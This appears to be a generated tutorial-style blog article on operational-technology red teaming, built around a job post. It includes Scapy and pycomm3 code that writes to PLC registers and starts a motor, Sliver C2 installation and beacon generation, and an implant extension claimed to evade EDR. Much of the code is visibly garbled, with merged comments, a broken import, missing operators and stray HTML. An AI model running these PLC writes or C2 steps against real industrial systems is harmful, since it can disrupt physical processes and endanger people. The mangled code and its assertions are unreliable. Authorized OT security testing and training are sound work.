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Introduction:
Operational Technology (OT) red teaming goes beyond traditional penetration testing—it requires deep knowledge of industrial control systems (ICS), real-time protocols, and the ability to manipulate physical processes through network packets. As organizations converge IT and OT, attackers increasingly target programmable logic controllers (PLCs), human-machine interfaces (HMIs), and embedded devices, making hands-on expertise with tools like Cobalt Strike, Sliver, and Python essential for quantifying exploitable risk across power grids and production lines.
Learning Objectives:
- Master manual packet manipulation of industrial protocols (Modbus, DNP3, Ethernet/IP, Profinet) using Scapy and Wireshark.
- Build custom offensive tooling in Python or Go to automate OT reconnaissance and exploitation within an agentic AI platform.
- Apply human-in-the-loop risk quantification to translate technical vulnerabilities into business impact for CISOs and plant managers.
You Should Know:
- Deep OT Reconnaissance: Scanning and Enumeration of ICS/Embedded Systems
Before any exploitation, an OT red team operator must discover live assets, identify PLCs, and fingerprint proprietary protocols. Unlike corporate networks, OT environments rely on deterministic timing—aggressive scanning can disrupt physical processes. Use passive and low-impact active techniques.
Step‑by‑step guide – Linux-based OT discovery:
- Passive monitoring with `tcpdump` to capture traffic without sending probes:
sudo tcpdump -i eth0 -nn -s 0 -c 1000 -w ot_capture.pcap
- Active but gentle scanning using `nmap` with the `–max-rate` flag and ICS-specific scripts:
nmap -sS -p 502,44818,20000 --max-rate 10 --script modbus-discover,enip-info 192.168.1.0/24
- Enumerate Modbus devices using `modbus-cli` (install via
pip install modbus-cli):modbus scan 192.168.1.100 --port 502 --unit-id 1
- Windows alternative – PowerShell with `Test-NetConnection` for basic port checks:
1..254 | ForEach-Object { Test-NetConnection -Port 502 -InformationLevel Quiet -ComputerName "192.168.1.$_" }
What this does: Captures live OT traffic, identifies active PLCs, and extracts protocol metadata without crashing controllers. Use these results to build a safe engagement plan.
2. Manual Packet Manipulation of Industrial Protocols
Understanding binary protocol structures allows you to craft malicious function codes, spoof device responses, or replay recorded commands. Modbus TCP is unauthenticated by design—perfect for red team practice.
Step‑by‑step guide – Crafting a Modbus write request with Scapy (Python):
from scapy.all import from scapy.contrib.modbus import Build Modbus ADU modbus_pkt = ModbusADU( transId=0x0001, protoId=0x0000, len=0x0006, unitId=0x01 ) / ModbusPDU( funcCode=0x06, Write Single Register regAddr=0x000A, regValue=0xFFFF ) Send to target PLC sendp(Ether()/IP(dst="192.168.1.100")/TCP(dport=502)/modbus_pkt, iface="eth0")
- For DNP3 – Use `scapy.contrib.dnp3` to craft unsolicited responses.
- For Ethernet/IP (CIP) – The `pycomm3` library simplifies reading/writing tags:
from pycomm3 import LogixDriver with LogixDriver('192.168.1.100') as plc: plc.write(('Motor_Start', 1))
What this does: Demonstrates how an attacker can directly manipulate coil states or register values. Always obtain written authorization before testing on live OT.
- Offensive Frameworks in OT Environments: Cobalt Strike & Sliver
Traditional C2 frameworks lack native OT protocol support, but you can extend them using external C2 (in Sliver) or BOFs (Cobalt Strike) to execute Python payloads that interact with PLCs. This section focuses on setting up a Sliver implant that can launch Modbus scans.
Step‑by‑step guide – Deploy Sliver with a custom Python extension:
- On your attacker VM (Linux): Install Sliver
curl https://sliver.sh/install | sudo bash sliver
- Generate an HTTPS beacon for cross‑network resilience:
generate --http 192.168.1.200 --save /tmp/sliver_beacon.exe
- After beacon calls back, create a Python armory extension:
extensions new --name modbustools --language python
- Write the extension script (saved as
modbus_scan.py):import subprocess, sys target = sys.argv[bash] result = subprocess.check_output(['nmap', '-p', '502', '--script', 'modbus-discover', target]) print(result.decode())
- Load and execute from Sliver:
extensions load /path/to/modbustools modbus_scan 192.168.1.100
What this does: The implant queries the OT subnet for Modbus devices and returns the data to your C2 server, evading most host-based EDR because the logic runs in Python.
- Quantifying “Exploitable Risk” for CISOs & Plant Managers
A theoretical vulnerability (e.g., CVE-2018-14823 on a legacy PLC) may not be exploitable due to network segmentation or compensating controls. Red team operators must calculate risk as a combination of likelihood and impact tailored to safety and production uptime.
Step‑by‑step guide – Risk quantification model:
- Determine exploitability score using OT‑specific factors (MITRE ATT&CK for ICS):
– Public exploit available? +3
– Requires local network access? +1 (most OT)
– Authentication needed? +2 (but often default creds)
2. Calculate safety impact (0–low, 10–loss of human life):
– Uncontrolled speed ramp on a centrifuge = 9
– Read‑only access to temperature sensors = 1
3. Compute final risk score `= (Exploitability × 0.4) + (Safety Impact × 0.6)`
4. Present as a heatmap (low/medium/high) with a financial bridge:
– “Exploiting the Modbus write coil leads to 24h downtime = $2.1M lost revenue + regulatory fines.”
You can automate this with a simple Python script:
def ot_risk(exploit_score, safety_score): risk = (exploit_score 0.4) + (safety_score 0.6) if risk > 7: return "CRITICAL - Stop production immediately" elif risk > 4: return "HIGH - Mitigate within 1 week" else: return "MEDIUM - Plan for next patching cycle"
- Human‑in‑the‑Loop: AI Agents for OT Scale with Human Oversight
Agentic platforms can automate protocol fuzzing and log analysis, but a human must approve any write command to a live transformer or turbine. Combine large language models (LLMs) for report generation and Python for orchestration.
Step‑by‑step guide – Build a safety‑gated AI assist for OT red teams:
- Use `ollama` to run a local LLM (e.g., Llama 3) for natural language translation of findings:
curl -fsSL https://ollama.com/install.sh | sh ollama pull llama3
- Agent logic (Python – pseudo‑code):
from langchain.llms import Ollama</li> </ul> llm = Ollama(model="llama3") raw_packet_data = "Modbus exception code 0x02: illegal data address" AI generates executive summary summary = llm.invoke(f"Convert this OT finding into language for a plant manager: {raw_packet_data}") Human gate before any destructive action user_confirm = input("Approve write operation? (yes/no): ") if user_confirm.lower() == "yes": send_packet_to_plc(write_command) else: log_and_alert("Human vetoed AI suggestion")- Windows PowerShell safety prompt:
$approval = Read-Host "Write to coil 100? Type 'CONFIRM' to proceed" if ($approval -eq "CONFIRM") { Invoke-ModbusWrite -Coil 100 -Value 1 }
What this does: The AI scales reconnaissance and report generation, while the operator remains the final authority—critical for avoiding uncontrolled shutdowns.
What Undercode Say:
- OT red teaming is fundamentally different from IT pen testing – you trade speed for safety, and passive discovery is often more valuable than aggressive scanning.
- Protocol mastery without tools is a myth – manual packet crafting with Scapy is the differentiator; script kiddies rely on Metasploit, experts build their own Modbus/DNP3 payloads.
- Risk quantification must bridge engineering and executive language – a CVSS score of 9.8 means nothing to a plant manager; “exploitable risk = 6 hours of unscheduled downtime” drives action.
The post from Paul S. recruiting an OT Red Team Operator highlights a critical industry gap: professionals who can operate a Linux terminal, manipulate industrial protocols, and communicate complex risk to non‑technical stakeholders. The demand for Python/Go automation, Cobalt Strike/Sliver proficiency, and a human‑in‑the‑loop AI mindset signals that OT security is evolving from legacy isolation to data‑driven, semi‑autonomous defense. As more OT environments adopt cloud SCADA and IIoT, attackers will leverage the same agentic platforms—making hands‑on, protocol‑level expertise the most valuable commodity in industrial cybersecurity.
Prediction:
By 2027, OT red team roles will separate into two tracks: “protocol deep divers” who hand‑craft packet exploits (earning premiums of 40% over standard pen testers) and “AI orchestrators” who manage agentic platforms for large‑scale asset discovery. The convergence of IT and OT will force every critical infrastructure operator to adopt automated risk quantification dashboards, and regulators will mandate proof of “human veto capability” for any AI‑driven red team action. Organizations that fail to hire operators with the skills listed in this job post will face not only security breaches but also compliance fines and catastrophic physical damage.
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